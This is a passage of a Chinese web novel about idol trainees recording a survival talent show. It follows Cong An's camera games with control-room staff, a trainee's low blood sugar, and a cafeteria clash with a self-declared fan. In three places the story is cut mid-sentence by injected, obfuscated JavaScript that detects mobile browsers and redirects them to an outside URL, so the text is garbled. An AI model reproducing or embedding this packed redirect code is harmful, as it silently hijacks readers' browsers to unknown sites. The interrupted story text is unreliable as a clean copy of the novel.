从安为了舞台练习了那么多年,他凭什么要离开呢?他也不该离开。 就这样一边担忧一边等,伊霜等了一个月,才等到了从安重新回到公司练习的消息。 伊霜长出一口气。 那时起她就知道了从安的选择,从安绝不会放弃。 后来也正如伊霜的想法,三个月后,从安发行了自己的个人单曲,《SAVE ME》,一首他自己参与了作词的歌曲。 歌曲很好听,写出了他的迷茫与挣扎,以及他的决心。 然后从安就离开了公司,回到了学校。 伊霜再次开始了等待。 但这次的等待没有担忧,没有迷茫,因为伊霜知道从安没有放弃,也绝不会放弃,他还会回来,他的歌曲就是他最好的答案。 而在高考刚刚结束的现在,她也果然等来了从安的答案。 只是她的高兴和期待才刚冒出一个泡儿,网络上扑面而来的评论就把这份快乐扑灭了。 半年没有练习过的从安实力大降,没有严苛身材管理的颜值也不复从前。 以这样的状态进入这样的一档选秀节目,接受所有观众的评判,是一件好事吗? 从安和她们,还能再经历一次失败吗? 伊霜捧着手机,屏幕上的字一个个的进入她的眼中,映入她的心里。 让她有些看不清。 * 表演完的从安不知道网上对他的评论,不过自己的表演结束,他就放松下来,心情轻松地看起其他练习生的表演。 不用担心要上场,也不用担心妆造,他不仅心情轻松,就连坐姿也很轻松。 靠在椅背上,已经坐了一个早上的身体得到片刻的放松,再看其他练习生们的舞台,更是十分沉浸。 “哇!这个高音——也太强了吧!” “天哪,这个烟嗓,好酷。” “他长得好高啊,至少一米九了吧?” “我的天!后空翻!好帅!” 耳边的欢呼一阵接一阵,听得敖立轩不着痕迹皱起了眉。 舞台上的表演到底精彩在哪里?跳得一般唱得更是幽默,他恨不得下一秒耳朵就聋掉这样就不用遭受这些魔音……不对,他的耳朵不能聋,得这些人嗓子哑掉,再也唱不出一句话。 坐在最边缘的敖立轩把自己的身子又往外面侧了一点,以期这样能少听见一些从安激动的尖叫。 现在从安的声音这么大,表演初舞台的时候,唱歌的声音怎么没那么实呢? 敖立轩侧头看了一眼坐在他旁边的从安,此刻从安正和其他练习生一起,给刚刚结束表演的一名练习生大声鼓掌欢呼。 敖立轩往下看去,舞台上的练习生深深鞠躬,舞台下是激烈的掌声与鼓舞,好似台上表演的不是某个练习生,而是一名天王巨星。 敖立轩甚至看到有不少人站了起来,喊得脸都红了。 敖立轩艰难地扯出一抹笑容,举起手吝啬地鼓掌。 如果不是前排座椅正插在他和从安中间的摄像头,敖立轩根本一点笑容和掌声都不想给。 这种表演还值得夸? 可笑。 持续两个小时的录制,让练习生、导师、和一众工作人员都开始疲惫,没有再继续进行录制,现场迎来了短暂的十分钟休息时间。 所有人都松懈下来,摊在椅子上开始休息。 两个小时坐在椅子上,尽管没有表演,但因为镜头的存在,所有人都打着精神,生怕自己说了不该说的话,露出不该露的表情,虽然只是站在舞台下当观众,但合格的随时给出反应的观众,做起来也并不轻松。 有工作人员带着去卫生间的练习生离开,从安坐在原位没有动。 他中午吃得少,刚才两个小时的录制也没怎么喝水,虽然因为不断的欢呼早已经口干舌燥,但为了上镜,他也只是喝了很少的水润喉。 十分钟的休息时间并不长,但光是坐着也十分无聊。 从安周围的练习生都离开出去了,他坐在原位,身边没人说话,也没有要表演的压力,难得地感到了些许无聊。 眼神四处张望,舞台上是忙碌着调试设备的工作人员,评委席是闲适地站着聊天的导师们,导师们后面,是大片空荡的练习生座椅处。 收回视线,从安和面前的摄像头对上了目光。 他心里一动。 抬起手,对着镜头做了一个手势。 双手相对,食指与中指交叉,形成一种紧凑重叠的形状——是从安的从字。 也是他在过去多年的练习生活中,一点点和粉丝们约定好的手势。 比完手势后,从安放下手,目不转睛地看着面前的摄像头。 这个摄像头每隔三个座椅就安装了一个,想来是为了拍摄练习生们的表现。 早上在座位上坐下看到这些镜头时,从安还有些惊讶。 看得见的就有如此多镜头,而看不见的幕布后方,想必更是密密麻麻的摄像机和工作人员。 真不愧是绿洋影视的当家综艺,果真是大手笔。 不过从安也就在心里感叹了一下。 镜头虽多,但他从小也是在无数镜头的包围下长大,对镜头的拍摄早就习惯,无视镜头的存在,更是成为了一种本能。 但从安也注意到,许多练习生很在意这些镜头的存在,目光时不时的就会落在上面,还会调整自己的坐姿,试图让自己在镜头前的状态更好。 也正是因为这样时刻端着,所以两个小时的录制才格外疲惫。 从安心里有的没的想了一大堆,但时间并没有过去多久,他的视线也一直落在摄像头上没有移开。 见面前的摄像头始终没有动静,从安心里有些失望。 不是那个老师了吗? 他正要收回视线,就看见他面前的摄像头突然动了起来。 一上,一下,一左一右,绕了一个圈。 ! 从安激动起来。 他连忙凑近摄像头,挥手打了个招呼。 还是那个老师! 去年他们五代的出道综艺节目《第五纪》的导演是杜唐,工作人员们则是杜唐团队里的工作人员,《星光熠熠》的导演也是杜唐,团队也是杜唐的团队,从昨天来到基地起,从安就看见了不少熟悉的工作人员。 而在去年的录制中,要说从安和哪位工作人员最熟悉,那势必是监控室看画面的老师们。 身边无处不在的摄像机,是所有人闲暇之余玩耍的好伙伴。 故意离开镜头范围,等镜头追过来,或者挤在镜头面前,询问谁更帅,又或者和镜头完躲猫猫游戏……从安简单一回忆,就能想起许多这样的细碎片段。 而他也曾在独自一人的练习室里,不厌其烦地在镜头前教了一遍又一遍自己的这个手势,还说如果学会了,就转一圈表示会了。 而现在,镜头转了一圈。 说明此刻在镜头后面,看着监控屏幕,操控镜头转动的,依然还是去年那熟悉的老师。 从安不由得笑弯了眼睛。 意识到这一点后,他下意识地在镜头前玩起了去年常玩的游戏。 首先用手指倒数三二一。 在一结束后,心里默数一秒,食指和中指并拢,迅速朝左指。 接着,从安就看见镜头慢悠悠地跟着朝左边移动。 手势版本的:三二一,看这边。 ‘老师,你输了。’ 从安朝着镜头做口型。 然后心情很好的坐直身体,没再接着玩游戏。 下方已经出现不少练习生的身影,外出去卫生间的练习生回来,工作人员们就位,短暂的休息时间马上就要结束了。 敖立轩走到位置上坐下时,还忍不住多看了从安两眼,对上从安疑惑看来的视线,他的话在嘴里绕了一圈,也没问出口,只摇摇头沉默坐下。 他要问什么?问从安为什么要对着摄像头龇牙咧嘴地笑吗?问他是不是因为初舞台表现太差破罐子破摔? 敖立轩自认还是有点情商,这种问题纵然是他,也知道是不能问的。 演播厅内人来人往,哪怕练习生们十分克制,依然在座椅间穿行时弄出不小的声响。 伴随着不断的“借过一下”“谢谢谢谢”,从安回头看去,和隔了两排的一名练习生正对上视线。 白皙的皮肤,卷曲的棕发,看起来十分可爱。 对方甜甜一笑,从安也跟着笑了一下。 回过头,又坐了一会儿,录制再次开始。 和休息前是一样的流程,不断有练习生们上台,表演,接着自我介绍。 导师们拿到资料后提出一些问题,如果有表现得好的,可能还会有加试环节,等表演和了解都结束,经过导师们的讨论之后,公布最后的评级。 和练习生们在上午选择的自评级相比,下午由导师们根据初舞台表现进行的评级,出现了不少的变化。 简单来说,就是自评级高的练习生,普遍都偏高,自评级很低的练习生,明显还可以更低。 又两个小时过去,表演过的练习生过半,但得到A评级的练习生,不过只有两人。 一人就是在从安之后上场表演的师启,对方不愧天才练习生的名号,一分半钟的初舞台,难度、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16769085|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 技巧 、基本功,应有尽有,把自己的实力展现得淋漓尽致,远超在场大部分练习生。 另一名拿到A等级的练习生名为柯子晋,星耀娱乐旗下练习生,从安知道这家公司,每年的选秀,他们都会派出不少练习生去参加,多年下来,旗下已经有不少成功出道的艺人了,以其完善的训练体系,成为了娱乐圈爱豆赛道的大公司之一。 在星耀训练出来的柯子晋,能拿到A等级并不意外。 不过虽然同为A,但师启和柯子晋两人之间实力还是看得出一些差别,师启看起来会更好一些。 “从安,你身上有糖吗?” 从安还在想着上一名练习生的表演,就感觉到身边的庄宇丰拍了拍他。 听见庄宇丰的话,从安下意识摸了摸自己身上。 穿着初舞台表演的衣服,里面自然是不会有糖的。 “没有。”他摇头:“发生什么了吗?” 节目录制期间突然要糖,肯定是发生了事情。 一如从安所想,庄宇丰微微侧身,看向了另一边:“阮宁有点低血糖。” 从安探头看过去,坐在庄宇丰身边的阮宁现在闭着眼睛眉头紧皱,哪怕隔着厚重的妆容,也依然能看出他的脸色不太好。 从安一看就明白了。 练习生们为了维持体重,平时本就吃得少,现在要上镜,还要表演初舞台,想必中午吃得会更少。 一整天的录制下来,消耗很大,低血糖并不意外。 从安收回视线,往下面看了一眼。 一名练习生刚刚结束了自己的初舞台表演,此刻正在等待导师们的评级,虽然四周看起来一片空荡,除了他们一百名练习生和导师之外再无旁人,但从安知道,在一道道看似厚实的墙壁之后,全是一名名工作人员,和无数的摄像机。 此刻这无数机器正对着舞台、导师、还有他们拍摄。 他们的每一个动作都在镜头的注视下。 在这种时候离开去找工作人员,脱离录制,是不可取的。 想到这里,从安看了一眼自己面前的摄像机,只能寄希望于录制开始之后,监控室的老师依然能在无数的画面里看到自己吧。 他伸出双手,在镜头前比出了自己的手势。 敖立轩一脸莫名:“你在干嘛?” 有人低血糖,不应该赶紧想办法吗?还在这里和摄像机玩?想镜头想疯了? 从安没急着回答敖立轩,比完手势之后,他就敲了敲夹在自己衣领的麦克风,低声开口:“有老师能听到吗?这里有练习生低血糖了,需要吃东西,是六十四号练习生,有老师听到能过来一下吗?” 敖立轩伸在半路的手顿住了。 庄宇丰也愣住了。 从安说话的声音很小,在不算安静的演播厅里并没有传出去,但庄宇丰和敖立轩一左一右坐在他两边,从安也没有刻意避开两人,他们两人听了个一清二楚。 不是,就这样直接对着麦克风说话喊老师?让他们过来?认真的吗? 虽然是在录制节目,但练习生们很有自知之明,他们在这个人员众多的节目中,可以说是所有层级的最下层。 他们这一百名练习生,虽然最后会有九人出道成为男团成员,但除了那能出道的九人之外,其他人依然会是一名普通的练习生,顶多就是经过节目的曝光,积攒了些许粉丝,增多了一点出道的可能性。 但要说真的能成为一名艺人?那还是希望渺茫。 和素人没有任何区别的练习生,为了争夺那一丝出道的可能性,是不能放过任何机会的。 节目组里面的工作人员,也是他们不敢得罪的对象。 毕竟谁也不知道,哪个工作人员的一句话,是不是就会影响自己最后放出去的镜头。 毕竟一百名练习生,那么大的素材量,导演和剪辑是不可能一段段全都看过去的,在剪辑之前,他们心里面早就会有一个故事线,哪些人是重点,哪些人无所谓,哪些人看起来不错可以多给几个镜头……不过都是一个念头的事情。 如果背后有公司谋划,那节目组自然会精心为那名练习生剪出合适的片段和高光,如果只是一名普通的个人练习生,要想在如此多人的素材中夺得自己的片段,那就是一件很难的事情了。 除了在镜头前的精彩表现,镜头后和工作人员的交情,也是许多练习生试图努力的方向。 所以现在庄宇丰看见从安自然地说完话,放下手之后,他突然一时之间愣住了。 有问题找工作人员,十分合理的一个选择,但是直接对着麦克风说话,会有工作人员能听见吗? 在场一百名练习生,每个人都戴着麦克风,每个人都在说话,尽管有工作人员在后台实时听着,但这么多嘈杂的声音,他们能听见从安的声音?就算听见了,真的会有人过来? 节目录制那么繁重紧张的工作,不舒服的练习生又岂止一个?饿了、渴了、病了、哪里痛了……一百个人,从早上八点到现在,在密闭的演播厅里坐了快十个小时,还能浑身轻松没有丝毫不适的人有几个?但所有人都知道这是在录制节目,不是能够放松的地方,所以大家都忍着各种不适的感受,只想着等把节目录完,结束之后再去提出自己的需求……结果现在从安直接就这样说了? 敖立轩蹭地收回了自己的手,原先想问的问题也不打算问了。 他原本以为自己已经够勇了,但现在看下来,他算老几啊?这从安明显比他勇多了。 别人求着那些工作人员都还来不及呢,从安还直接指挥上了。 敖立轩坐直身体,不再说话,只等着一会看情况。 至于低血糖的练习生,反正从安已经把事情接过去了,有没有什么事,都不关他的事了。 就连低血糖的阮宁,此刻也忍着眩晕的头,睁开眼睛看向了从安。 从安这样真的能叫来工作人员吗? 如果不能,他的情况还没有差到那种地步,等现在台上的练习生表演结束了,轮到下一名上场表演的练习生时,他可以举手示意。 在表演前的那段准备时间,他可以趁机和工作人员说明自己的情况,说不定能去后台休息一下。 如果真的会有工作人员过来……阮宁再次闭上眼睛,脑子里各种思绪转了开来。 9.第 9 章 没过多久,台上的练习生就得到了自己的评级。 C级又多了一人。 到目前为止,共有48名练习生上场表演过,其中得到A的有2人,B的有18人,C的又12人,D的有9人,F的有7人。 从这个等级分布也可以看出,今年导师们对A的要求更加严格。 很多往年能得到A的人,今年都被放进了B。 所以一通表演下来,现在B等级的练习生人数居然是最多的。 练习生下台,在下一组练习生上台的间隙,演播厅迎来了短暂的放松时刻。 阮宁被庄宇丰扶着站起,正要举手示意,他们就看见从旁边的楼梯上走来一个人。 穿着节目组印花的卫衣,胸前挂着大大的工作牌。 不是工作人员又是谁? 阮宁猛地看向从安。 刚才那看起来有些荒谬的行为,居然真的叫来了工作人员? 就连敖立轩都不由得看向了从安。 从安脸上没有丝毫意外。 刚才他说完那句话没多久,他面前的摄像头就上下转动了一下。 很明显,这是后面的老师在操控着‘点头’,是‘好’的意思。 所以他刚才很平静地坐在这里,没有丝毫担心,等待着工作人员的到来。 工作人员得到消息,直奔六十四号座位。 一来几看见了被庄宇丰搀扶着的阮宁。 “是你低血糖是吧?” “对对。”庄宇丰忙不迭点头,帮阮宁回答。 阮宁确实头晕,没力气大声说话,只顺着庄宇丰的声音,头部低幅度地上下摆动了一下。 “行。”工作人员一点头,冲庄宇丰颔首:“跟我走吧。” 说完,工作人员先行一步,朝外走去。 庄宇丰连忙扶着阮宁跟上。 三人的动作并没有引起太大的动静。 练习生们虽然看见了过来的工作人员,也看见了站起来的庄宇丰和阮宁,看见了好像状态不太好的阮宁,但现在正在录制,他们也没办法多做些什么。 只是目光一直看着这里,看到底发生了什么。 看到他们离开,心里大致也猜到阮宁估计是身体出了一些问题,所以先出去休息了。 虽然在关键的节目录制期间立场,但这毕竟是个长期节目,身体还是更加重要。 不能因为一时的镜头,就耽误后面的镜头。 所以看到阮宁离开后,远处的练习生也纷纷收回了视线,不再看这里。 从安却觉得有些不对劲。 他老有一种被注视的感觉。 回头四处找了找,和往后两排的一人对上了视线。 微卷的棕色头发,面容白皙,从安很快想了起来。 这是之前休息的时候,和他对视过的那名练习生。 看到从安回头,那人又对着从安笑了笑。 从安也回了一个笑容。 短暂的插曲没有影响节目的录制,舞台上练习生已经准备好,灯光暗下,摆好起始动作,倒计时过后,伴着音乐,开始了舞蹈。 从安简单看了几眼,很快就有了判断。 连续四个多小时的初舞台录制,哪怕有再多的节目形式,也都被演了一个遍了。 难免有些审美疲劳。 现在舞台上的练习生,表演的是在之前的初舞台表演中,最常见的舞台。 唱跳。 或者说在这样的初舞台环节,练习生们绝大部分只能选择唱跳。 毕竟是男团选秀,而男团选秀干的就是唱跳的工作,练习生们一直练习的也是唱跳的能力。 到了最关键的初舞台,他们展现的当然也是这方面的能力。 不知道台上的是哪一个公司的练习生,又或是好几个小公司凑到一起的练习生,他们组成一组,共有五人,一起在舞台上表演。 这个人数是非常常见的组合人数。 奇数,且不会很多,也不会很少。 能让每个人都站在观众面前的同时,还有一个好看的队形,同时能有多变的走位变化。 现在他们表演的就是一首非常经典的男团曲,节奏轻快,曲风活泼,充满了青春的气息。 舞台上的五人伴着音乐节奏蹦蹦跳跳,脸上是欢快明媚的笑容,感染力十足,让人一看就忍不住跟着一起笑起来。 很快音乐结束,表演也落下尾声。 伴随着其中一人的高音收尾,舞台上的灯光暗下。 从剪影可以看出他们上下起伏的胸膛。 从安突兀的想到一度成为一个梗的,爱豆的所谓ending pose。 不知道此刻舞台上的五人,有几人是真的疲惫从而喘息,还是想要在镜头前展露出这样的模样,从而做出这样的动作。 导师们已经拿起话筒开始说话。 “很完整的一个表演。”依然是茅安康先开口。 茅安康出道时间最久,资历最深,当年跟团时组合的成绩也十分好,因此,在五名导师当中隐隐有以他做主的意思。 其他导师顺着茅安康的话颔首。 这五人的表演确实完整。 比起某些唱歌跑调忘动作的练习生,他们五人至少从头到尾把节目非常顺畅地表演了下来,没有特别明显的失误。 同时每个人还有各自的单独表演部分。 像这样整体和个体都有充分展示的舞台,在今天下午的初舞台环节当中,足以称得上一句优秀了。 听到茅安康的话,哪怕在努力控制,但舞台上的练习生们依然忍不住抿嘴了起来。 年少的面庞上浮现出一些独属于少年的得意气息。 “但是──”茅安康话音一转,他们刚刚露出的笑容顿时僵住。 茅安康露出促狭的笑:“但是你们都表现得非常好。” 持续四个多小时的录制,不仅是练习生们精疲力尽,他们五名导师每个舞台都要点评,每个舞台都要打分,更是消耗了不少脑细胞。 早就累了。 现在来个转折,还能提一提自己的精神。 舞台上的练习生们愣了一会才反应过来,茅安康是在和他们开玩笑。 他们顿时长出一口气。 拿着话筒手忙脚乱的开始道谢。 “谢谢老师。” “谢谢谢谢。” 得到了夸奖,都是一脸惊喜的表情。 简单活跃了气氛,茅安康开始正式点评。 把刚才看节目过程当中印象比较深刻的部分都讲了一遍,接着就换下一名导师,继续点评。 这个舞台形式比较完整,声乐,舞蹈,rap部分都有进行展示。 所以每名导师都有点评的空间。 五名练习生,五名导师,一个一个轮着来,这个舞台点评完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785973|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,十几分钟就过去了。 然后便是练习生们的自我介绍环节。 从自己的名字到所属公司,再到练习时长。 接着还会说一下自己擅长的内容。 如果有导师感兴趣的部分,则会让练习生们再进行一下展示。 如此一个环节结束,又过去了几分钟。 然后才到了所有人都十分期待的公布评分环节。 这样一个流程下来,一组练习生的初舞台,少说也要花去二十分钟。 所以整整一个下午,哪怕时刻不停地在录制,也才不过录到一半。 导师们聚在一起简单讨论了一下。 这次好像没有太多有争议的部分,他们的讨论十分简短,很快就坐回原位。 照例留了一下悬念,茅安康才说出了最后的结果。 两个B,两个C,一个D。 A真的很难得。 五人脸上都是笑容,看不出太明显的失落。 通过之前的舞台,他们对导师们的评分规则也有了自己的判断,再结合自己的实力做一个对比,很容易就能判断出,自己或许能得到怎样的一个评级。 下台坐回自己的座位,再和位置上旁边的练习生们拥抱打个招呼。 尽管还不到一天时间,但大家看起来关系已经十分融洽了。 阮宁和庄宇丰这时跟着工作人员安静的走了回来。 他们来的安静,旁边的练习生也十分沉默。 没有人站起来欢迎他们,也没有人和他们拥抱。 和旁边还在互相拥抱的那五名刚下来的练习生形成了鲜明对比。 仿佛他们这半边的练习生之间,不如对面那边练习生之间熟络一样。 新一组练习生要表演之前,茅安康开口:“这是今天下午的最后一个表演,这个表演结束之后,我们将有1小时的休息时间,然后再进行录制。” 闻言,所有练习生都激动了起来。 很难不激动。 加上即将表演的这个舞台,他们今天下午可以说是连续录制了5个小时。 中间只有短短10分钟的休息时间。 其他时间都一直坐在原位,时刻维持着一种亢奋的状态。 尽管是坐着,但精神早已疲惫不堪。 现在听到能休息,他们看节目的心情都更加热烈了。 舞台上正在准备的练习生们也不由得多了很多干劲。 可能是因为有休息在等待着,所以这一次的舞台好像格外的快。 从安看完表演就觉得导师们好像也没说几句话,就开始了打分。 然后就有工作人员开口,录制结束了。 顿时整个演播厅都沸腾了起来。 大家互相扶着起身,脸上是挡都挡不住的笑容。 一个接一个,迫不及待地往外走。 “去吃饭,去吃饭,肚子饿死了。” 相熟的练习生走在一起,成群结队,好不热闹。 从安坐在边缘,离开的动作很快。 但有人比他动作更快。 几乎是工作人员话音刚落,敖立轩就双手插兜站了起来。 长腿一迈,就踩着楼梯大步流星地一个人下去了。 丝毫没有和其他练习生一样,跟身边的相熟练习生一起离开的意思。 从安也没多磨蹭,趁着现在人少,他也三步并作两步,快速离开。 10.第 10 章 下午五点的食堂已经热闹起来,空气中浮动着饭菜的香气与一种无形的焦灼。 初舞台录制刚完成上半场,一半的练习生已经拿到了新的等级评定,而另一半,还在等待着未知的考核。 这种悬而未决的气氛让食堂的交谈声都带着些许躁动。 从安走进食堂的时候,这里的练习生还不多。 他的位置靠外,这一路走来的脚步也快,加之他熟悉路程,完全把大部队甩在了身后 “刘姨。”从安来到熟悉的角落窗口,对着后面正在忙碌的微胖阿姨打招呼。 刘姨是影视基地附近的居民。 这里地方偏僻,没有什么公司,附近的居民基本都没工作。 不过自从绿洋影视在这里修建了影视基地之后,隔三差五就有节目录制,所以附近的居民时不时的就会过来工作。 有些人打扫卫生,有些人在食堂帮忙……也算是给当地提供了更多的可能性。 而刘姨就是每当有节目录制时,固定会来食堂工作的居民之一。 “小安,你录完啦?”刘姨抬头,看见从安,脸上立刻露出笑容,“今天还是老样子吗?” “嗯。”从安点头。 “唉。”刘姨轻叹一口气,想劝两句,但目光在从安身上扫过,还是把话咽了回去,没出声,手上动作娴熟地开始打菜。 一根玉米,两个鸡蛋,一片鸡胸肉,再加上一些水煮蔬菜——主打一个毫无滋味又不饱腹。 把菜放到从安面前,在从安接过餐盘的时候,刘姨还是没忍住开口道:“我觉得你现在这样就挺好的,之前那种太瘦了,而且你还在长身体,每天吃那么点哪里受得了?” 说完,像是为了验证自己话中的准确性,刘姨伸手比了比从安的身高,“你看你现在比去年高了不少,肯定是因为这里回去之后吃得多了吧,所以就长高了。” “年轻人还是得多吃,吃得有营养,才能长身体,一直减肥那可不行。” “这不是工作要求嘛。”从安知道刘姨说这话是为了自己的身体着想,面对他人如此真切的善意,从安也没办法拒绝。 但他更不能像之前那样想吃什么就吃什么。 现在的从安身高一米八,确实比去年高了不少,勉强进入了一句可以称为‘高’的行列。 不知道是不是和这半年多来的多吃多睡有关系。 但现在的他体重七十公斤,作为普通人而言,是一个十分标准甚至可以称得上一句算瘦的体重,但是放在娱乐圈,站在镜头前,这个体重完全不合格。 上镜不是简单说说而已。 哪怕是一分一厘的松懈,在镜头前面,都会呈几何倍数地被展示出来。 镜头不会放过任何一丝丑态。 在现实中看起来匀称的身高和体重,出现在镜头前,只会显得健壮、肥胖。 从安毫不怀疑,自己的画面等到播出时,他一定会迎来许多对他的外貌评头论足的声音。 那些人或许还会截出他跳舞的画面,配文:‘哪里来的大猩猩。’ 这么一想,从安浑身一激灵。 太可怕了,他还是快点瘦下来吧。 “刘姨,我先走啦。”从安端着餐盘,和刘姨打完招呼,就顺着窗口往回走。 这会儿练习生的大部队已经赶到食堂,在食堂不多却也算丰富的窗口四处挑选着自己的晚餐。 路过丰盛的炒菜窗口,从安一眼就看见了浓油酱赤散发着香气的猪蹄。 从安的喉结忍不住滚动了一下。 天哪,他一眼就认出来了那是他失散多年的天命猪蹄。 从安立刻就想起了自己前些天在考场上心心念念的晚餐菜谱。 不过是短短几天时间,那时的他还能肆意畅想自己想吃的食物,靠着对晚餐的期待,下笔如有神,在考场上挥洒笔墨,只感觉时间过得飞快。 而现在,他却只能端着色香味全无的减脂餐,看着别人一看就美味得让人流口水的晚餐,把这些毫无滋味的食物往嘴巴里塞,只为了填饱自己的肚子。 唉。 从安找了处空位坐下,长叹一口气。 真不知道他还有吃到猪蹄的机会吗? “我可以坐在这里吗?”一道清脆的声音打断了从安的思绪。 从安抬头,看到一名练习生端着堆得满满的餐盘站在桌边,脸上是恰到好处的热情笑容。 从安的目光迅速地从周围扫过。 食堂很大,练习生虽然不少,但对比起这偌大的食堂,一百名练习生也算不了什么。 此刻稀稀拉拉的,食堂里的座位也只坐了小半,还有大半是空的。 “当然可以。”从安笑着点头。 来人把盛满菜的餐盘放在两人中间,把一碗米饭放在自己面前。 “我看到你刚才一直在看,你很想吃吧,来,我们一起吃。” 从安视线落在餐盘上,胶质感满满的猪蹄就摆在他的面前。 浓郁的酱汁,鲜亮的色泽,从安毫不怀疑一口下去,那能在嘴里爆开的美味。 从安没说话,他抬眼看着来人。 “我叫安文乐。”安文乐看出从安眼底的疑惑,立刻开始自我介绍,“刚刚我们在里面见过。” 他伸手指了指演播厅的方向。 “我记得。”从安点头。 他两次回头,都正好和安文乐对上视线。 就是不知道是恰巧,还是对方就是一直在观察他。 从安想了想,结合安文乐找来的状态,觉得大概率是后者。 安文乐既然找来,必然是有什么目的。 虽然好奇这个目的是什么,但从安知道他不用问,安文乐自己就会说。 从安放平心态,不纠结,开始吃饭。 “你叫从安是吧?”安文乐很自来熟,虽然从安的态度看起来有些冷淡,但也丝毫没影响他脸上的笑容,“我认得你,我看了你们去年的节目《第五纪》。” 说起节目,安文乐脸上浮现出回忆的神色:“当时我就觉得你的实力很棒,看到后面你没出道,我真的很难过……” 安文乐突然反应过来,连忙道歉:“啊不好意思,我不是故意的!” 当着从安的面提起对方去年没出道的事情,不就是当着对方的面揭他人的伤疤吗? 安文乐一脸着急,忙不迭道歉。 “没事。”从安摇头,没太在意。 去年的他没有出道是事实,经过一年多的时间,他早已消化。 什么样的人才能揪着一年多前的失败念念不忘啊? 那还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795988|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要继续往前走了? 安文乐见从安真的不在意,这才松了口气,脸上小心地出现一抹笑容。 再开口,变得谨慎了许多。 “今天看到你的时候,我还有些不太确定,因为以前都隔着镜头,今天见到真人了,感觉有些变化。但是你一站上舞台,进行初舞台表演,我就马上认出你来了!”安文乐的语气兴奋起来,脸上也浮现出一抹激动的红晕:“你一点都没变!你在舞台上还是那么厉害!和去年一模一样!” “我没想到能和你参加一个节目,我真的好高兴。”说着,安文乐不好意思地笑了笑,“其实我是你的粉丝。” 从安夹青菜的筷子几不可查地顿了一下。 安文乐这话,听着像是粉丝发言,但从安不这么想。 同为练习生,还有粉丝这一说吗? 之前在五代养成系的六年,他们十多名练习生,来来去去,哪怕从小一起长大,六七年的时光,但在最后的出道时刻,这份感情好像也并没有那么真挚。 站在那个成团夜的舞台上,看着舞台对面聚光灯下,成功成团的六个人,从安很难说自己心里的那份感情叫做祝福。 而在现在这个感情更浅,竞争更激烈的选秀节目中,还会有这种‘粉丝’的存在吗? “粉丝?”从安抬眼看向安文乐,脸上勾起一抹讥讽的笑:“你是来这里追星的?” “那很遗憾了,这里都是练习生,没有你可以追的星。” “还是说在你心里,我已经是板上钉钉的出道团成员之一?” “如果是这样的话,那我很感谢你对我的信任,我一定会继续努力,让你能成为我名副其实的粉丝。” 安文乐脸上的笑容僵硬了。 “没有,我不是这个意思。” “那你是什么意思?” “我,呃……”安文乐努力控制着自己的表情,试图让自己的表情轻松一些。 但调整来调整去,还是失败了。 从安的话很难听,难听到他想辩解,又觉得毫无辩解的必要。 最后安文乐勉强地笑了笑:“我就是想和你认识一下,你又何必这么冲?” “感觉你不是很想和我认识,那我就不打扰你了。”说完,安文乐端起餐盘,低着头,藏起自己通红的双眼,匆匆离开了这张桌子。 安文乐走到另一张桌子边。 在场的练习生虽然不多,但练习生三三俩俩地坐着,食堂里已经没有了空桌子。 安文乐端着餐盘,询问这张桌子上的其他人。 “我可以坐在这里吗?” “当然可以!”那张桌子上的两名练习生很热情地同意了,只是一抬眼,看见安文乐低着的头,顿时惊讶了起来。 “你怎么哭了?” 从安远远地听不见那张桌子上的声音,但感受到了从那处传来的视线。 不知道他们在说什么。 这个念头在从安脑子里绕了一圈,很快就被抛在脑后了。 咀嚼着嘴里的食物,从安不由自主地想起了那一直在诱惑他的猪蹄。 虽然猪蹄很香,看起来很好吃。 但从安由衷的希望,自己以后不要再有吃猪蹄的机会了。 他也会努力不让猪蹄再出现在自己脑子里。 11.第 11 章 从安小口咀嚼着寡淡的鸡胸肉,味同嚼蜡。 食堂的喧嚣仿佛与他隔着一层透明的膜,他沉浸在自己的思绪里,盘算着接下来的训练计划和热量摄入。 就在这时,不远处靠墙的一桌传来一阵刻意压低的骚动。 几个练习生凑在一起,脑袋几乎要碰在一起,脸上的表情混杂着震惊、慌乱和一丝难以置信。 其中一人谨慎抬头,视线恰好与从安探寻的目光撞上,那人立刻像是被烫到一样缩回脖子,用手肘碰了碰同伴。 窃窃私语声戛然而止,那桌人迅速散开些许,各自拿起筷子,动作却显得僵硬而不自然,眼神闪烁地交换着只有他们自己才懂的信息。 从安皱了皱眉。 选秀节目里,小团体和秘密是常态,他早已习惯了这种氛围。 见他们无意声张,他也懒得探究,低头继续对付盘子里那几根绿油油的蔬菜。 无非是些排名、剪辑或者内部矛盾罢了,他不在意。 但从安并不知道,那阵短暂骚动所掩盖的,是一个足以让所有练习生心态崩塌的秘密——这档《星光熠熠》,并非如往年的《星光熠熠》一样,是录播节目。 